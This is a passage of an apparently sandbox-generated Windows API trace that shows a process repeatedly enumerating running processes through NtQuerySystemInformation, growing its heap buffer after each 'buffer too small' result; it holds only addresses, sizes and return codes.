ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0222.486] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0222.486] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0222.486] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0222.486] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0222.486] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0222.486] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0222.486] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0222.486] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0222.486] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0222.486] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0222.486] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0222.595] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0222.595] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0222.595] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0222.595] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0222.595] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0222.595] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0222.595] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0222.595] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0222.595] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0222.595] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0222.596] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0222.596] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0222.596] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0222.596] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0222.596] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0222.596] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0222.596] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0222.704] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0222.704] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0222.704] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0222.704] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0222.704] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0222.704] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0222.704] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0222.704] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0222.704] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0222.704] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0222.704] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0222.704] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0222.704] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0222.705] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0222.705] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0222.705] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0222.705] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0222.813] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0222.813] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0222.813] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0222.813] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0222.813] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0222.813] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0222.813] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0222.813] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0222.813] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0222.813] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0222.814] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0222.814] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0222.814] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0222.814] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0222.814] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0222.814] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0222.814] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0222.922] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0222.922] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0222.922] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0222.922] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0222.922] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0222.922] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0222.922] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0222.922] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0222.923] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0222.923] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0222.923] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0222.923] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0222.923] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0222.923] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0222.923] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0222.923] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0222.923] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0223.031] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0223.031] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0223.031] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0223.031] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0223.031] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0223.032] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0223.032] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0223.032] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0223.032] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0223.032] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0223.032] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0223.032] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0223.032] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0223.032] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0223.032] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0223.032] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0223.032] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0223.140] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0223.140] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0223.140] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0223.141] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0223.141] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0223.141] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0223.141] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0223.141] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0223.141] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0223.141] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0223.141] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0223.141] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0223.141] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0223.141] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0223.141] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0223.141] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0223.141] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0223.250] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0223.250] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0223.250] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0223.250] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0223.251] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0223.251] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0223.251] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0223.251] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0223.251] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0223.251] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0223.251] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0223.251] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0223.251] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0223.251] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0223.251] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0223.251] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0223.251] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0223.359] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0223.359] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0223.359] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0223.359] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0223.359] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0223.359] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0223.359] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0223.359] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0223.359] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0223.359] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0223.359] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0223.359] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0223.360] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0223.360] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0223.360] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0223.360] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0223.360] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0223.468] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0223.468] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0223.468] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0223.468] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0223.468] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0223.468] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0223.468] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0223.468] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0223.468] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0223.468] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0223.469] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0223.469] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0223.469] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0223.469] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0223.469] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0223.469] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0223.469] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0223.577] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0223.577] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0223.577] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0223.577] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0223.577] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0223.578] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0223.578] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0223.578] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0223.578] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0223.578] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0223.578] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0223.578] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0223.578] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0223.578] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, 